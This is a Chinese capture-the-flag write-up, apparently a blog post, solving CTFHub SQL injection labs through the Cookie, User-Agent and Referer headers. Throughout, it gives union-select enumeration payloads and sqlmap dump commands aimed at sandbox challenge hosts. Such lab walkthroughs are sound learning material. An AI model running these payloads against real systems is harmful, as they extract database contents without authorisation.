CTFHub(web sql)(四)

Cookie注入

  Cookie 注入的原理也和其他注入一样,只不过是将提交的参数已 Cookie 方式提交,而一般的注入是使用 GET 或者 POST 方式提交,GET 方式提交就是直接在网址后面加上需要注入的语句,POST 方式则是通过表单,GET 和 POST 的不同之处就在于可以通过 IE 地址栏处看到我们提交的参数,而 Cookie 注入却不能。

cookie注入原理详解(一) - tooltime - 博客园 (cnblogs.com)

bp修改

打开网址,使用bp抓包,并发送到重放器

对Cooike:位置后的内容进行修改

1.判断列名

Cookie: id=1 order by 1,2;

2.判断其注入点

使用union select

cookie:id=1 union select 1,2;

3.开始爆库

知道注入点在2上

Cookie: id=-1 union select 1,database();

4.爆表

得到数据库库名为sqli

Cookie: id=-1 union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1);

vfdozendrn

5.爆字段名

得知表名为vfdozendrn

Cookie: id=-1 union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='vfdozendrn' limit 0,1);

faxqgkdawi

6.爆字段的内容

知道字段名为 faxqgkdawi

Cookie: id=-1 union select 1,group_concat(faxqgkdawi) from vfdozendrn;

得到flag

hackbar

使用hackbar工具,选择Cooikes

1.找到注入点

id=1 and 1 = 1 #

2.判断列数

id=1 order by 2 #

id=1 order by 3 #

3.查数据库名

id=0 union select 1,database()#

4.查表名

id=0 union select database(),group_concat(table_name) from information_schema.tables where table_schema='sqli' #

查找得到两个数据表vfdozendrn,news

5.查列名

 id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='news' #

查询表vfdozendrn中的内容

id=0 union select 1,group_concat(column_name) from information_schema.columns where table_name='vfdozendrn' #

得到字段名faxqgkdawi

6.查字段 

id=0 union select 1,group_concat(vfdozendrn) from sqli.faxqgkdawi # ​​​

得到flag

sqlmap

http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800

爆库名

sqlmap -u http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 --dbs  --batch

爆表名

sqlmap -u http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2  -D sqli --tables --batch

vfdozendrn

爆列名

sqlmap -u http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 -D sqli -T vfdozendrn --columns --batch

faxqgkdawi

爆数据

sqlmap -u http://challenge-29b4e435702d0e45.sandbox.ctfhub.com:10800/ --cookie "id=1" --level 2 -D sqli -T vfdozendrn -C faxqgkdawi --dump --batch

CTFHUB-技能树-Web前置技能-SQL注入-Mysql结构-Cookie注入-CSDN博客

ctfhub sql注入之cookie注入-CSDN博客

UA注入

CTFHub | UA注入_ctfhub ua注入-CSDN博客

就是User-Agent的缩写,中文名为用户代理,是Http协议中的一部分,属于头域的组成部分,它是一个特殊字符串头,是一种向访问网站提供你所使用的浏览器类型及版本、操作系统及版本、浏览器内核、等信息的标识。通过这个标识,用户所访问的网站可以显示不同的排版从而为用户提供更好的体验或者进行信息统计。
 

手工注入

1.bp抓包

直接使用burp suite抓包工具抓取题目网站的信息

2.判断注入方式

题目已经告诉我们输入点在UA中,直接在UA中使用'1 and 1 = 1'进行测试

继续在UA请求头中使用'1 and 1 = 2'进行测试,发现此题存在UA注入

3. 判断字段数量

使用order by

从order by 1开始

1 order by 1

判断字段2,使用order by 2

判断字段3,使用order by 3,

这里无回显,那么字段数量为2列

4.查看数据库位置

使用union select 1,2查看未发现数据

1 union select 1,2

判断数据可能不存在数据库中,将1改为0查看数据,其他符号也可以

0 union select 1,2

5.查看数据库版本

修改2为version()

0 union select 1,version()

发现数据库版本为MariaDB 10.3.22

6.查看数据库名

修改2为database()

0 union select 1,database()

发现数据库版本为sqli

查看全部数据库名

0 union select 1,group_concat(schema_name)from information_schema.schemata

7.查看表名

在全部数据库名中发现sqli,最后在sqli数据库中发现zdebjmphat和news两个表名

0 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

zdebjmphat   

8.查看列名

先查看zdebjmphat表中的全部字段名,发现一个数据名为htgdqscwhc

0 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='zdebjmphat'

htgdqscwhc

9.查看字段

查看数据htgdqscwhc中的内容,发现此题flag

0 union select 1,group_concat(htgdqscwhc) from sqli.zdebjmphat

sqlmap

Sqlmap全参数详解 - 狼人:-) - 博客园 (cnblogs.com)

sqlmap支持五种不同的注入模式:

1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
4、联合查询注入,可以使用union的情况下的注入。
5、堆查询注入,可以同时执行多条语句的执行时的注入

CTFHUB-技能树-Web前置技能-SQL注入-Mysql结构-UA注入-CSDN博客

UA注入 需要用到leve 3

http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800

1.爆数据库

sqlmap -u http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800/ -level 3 --dbs --batch

2.爆表名

sqlmap -u http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800/ --level 3 -D sqli --tables

zdebjmphat

3.爆字段

sqlmap -u http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800/ --level 3 -D sqli -T zdebjmphat --columns

4.脱库

sqlmap -u http://challenge-cf89ab126dc80c6b.sandbox.ctfhub.com:10800/ --level 3 -D sqli -T zdebjmphat -C htgdqscwhc --dump

看大佬题解时,大佬提到了这个问题:

Refer注入

CTFHub - Refer注入-CSDN博客

CTFHub | Refer注入_ctfhub的refer注入-CSDN博客

[CTFhub]CTFhub技能树SQL注入——Refer注入-CSDN博客

bp注入

抓包

使用bp抓包,发送到重放器

抓到的信息中没有Refer请求,那么可以直接写入Refer请求进行测试

放包后,使用hackbar传入id=1

Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。    需要向页面发送一个请求后,才会带上Reder字段。

传参的同时进行抓包

判断注入类型

referer:1

页面存在回显,可以使用联合查询。

referer:1'

页面不存在回显。

referer:1 and 1=1

页面存在回显

referer:1 and 1=2

页面不存在回显。可判断此处是数字型注入

判断回显位置

select 语句有几列那么需要输入几列。Sqli 中有两列,所以输入1和2,判断数字的回显位置。

referer: 1 union select 1,2

判断数据可能不存在数据库中,将1改为0查看数据,其他符号也可以

referer: -1 union select 1,2

获取数据库

把第1列换成了version()版本号,2换成了database() 数据库名称

-1 union select version(),database()

可得知数据库为:sqli

获取数据表

补充:

group_concat(列或表达式):函数将指定的列或表达式的值按照默认的逗号分隔符连接起来,并返回一个合并的字符串作为结果。

        information_schema:关系型数据库中,包括 MySQL、PostgreSQL等,存在一个系统数据库叫做 "information_schema",它存储了关于数据库中元数据(metadata)的信息。

        information_schema:是 information_schema 数据库中的一个表,用于存储关于数据库中所有表的信息,例:表名、所属数据库、表类型、创建时间等。

        table_schema=database() :table_schema表示要筛选的表的模式(也就是数据库的名称),而database()是MySQL内置函数,返回当前连接的数据库名称。

-1 union select version(),group_concat(table_name)from information_schema.tables where table_schema=database()

库中存在两个表,分别为:kyqdxfnkmp,news

获取列名

-1 union select version(),group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='kyqdxfnkmp'

kyqdxfnkmp库中的列名为:ttzqiiunct

获取数据

-1 union select version(),ttzqiiunct from kyqdxfnkmp

或者

-1 union select 1,group_concat(ttzqiiunct) from sqli.kyqdxfnkmp

得到flag

sqlmap

CTFHub——技能树——SQL注入(sqlmap)-CSDN博客

sqlmap使用:ctfhub靶场查询SQL注入+查询Cookie注入+查询UA注入+Refer注入_sqlmap flag 查表-CSDN博客

关于此题如何使用sqlmap,做了很多尝试,仍然无法解出。

网址

http://challenge-16d8adb4f3e8663f.sandbox.ctfhub.com:10800

sqlmap -u http://challenge-16d8adb4f3e8663f.sandbox.ctfhub.com:10800/ -level 3 --dbs --batch

python sqlmap.py -u http://challenge-16d8adb4f3e8663f.sandbox.ctfhub.com:10800 -level 3

sqlmap -r "refer.txt" -level 3 --current-db --batch (sqli)

CTFhub  Web  SQL注入 篇至此结束

感谢在茫茫的互联网电子荒原中,你浏览到这几篇赛博垃圾。博客内容较为粗糙劣质,诸位大佬,如有高见,还请斧正,直说无妨。

相关推荐

  1. 数据库(

    2024-05-01 22:18:03       37 阅读

最近更新

  1. docker php8.1+nginx base 镜像 dockerfile 配置

    2024-05-01 22:18:03       98 阅读
  2. Could not load dynamic library ‘cudart64_100.dll‘

    2024-05-01 22:18:03       106 阅读
  3. 在Django里面运行非项目文件

    2024-05-01 22:18:03       87 阅读
  4. Python语言-面向对象

    2024-05-01 22:18:03       96 阅读

热门阅读

  1. 常见的ssh功能

    2024-05-01 22:18:03       28 阅读
  2. DolphinScheduler 集群高可用测试

    2024-05-01 22:18:03       32 阅读
  3. some 术语 1

    2024-05-01 22:18:03       26 阅读
  4. linux复习

    2024-05-01 22:18:03       30 阅读
  5. 搭建企业级DNS服务器真实案例精讲

    2024-05-01 22:18:03       35 阅读
  6. 前端面试题(八)

    2024-05-01 22:18:03       24 阅读
  7. SDKMAN!

    SDKMAN!

    2024-05-01 22:18:03      33 阅读
  8. MyBatis笔记——MyBatis缓存

    2024-05-01 22:18:03       34 阅读
  9. 【笔试题汇总】华为春招笔试题解 2024-4-17

    2024-05-01 22:18:03       28 阅读
  10. multimac实践

    2024-05-01 22:18:03       33 阅读
  11. 2024-04-30 区块链-以太坊-相关文档

    2024-05-01 22:18:03       32 阅读
  12. 速盾:什么是cdn架构

    2024-05-01 22:18:03       31 阅读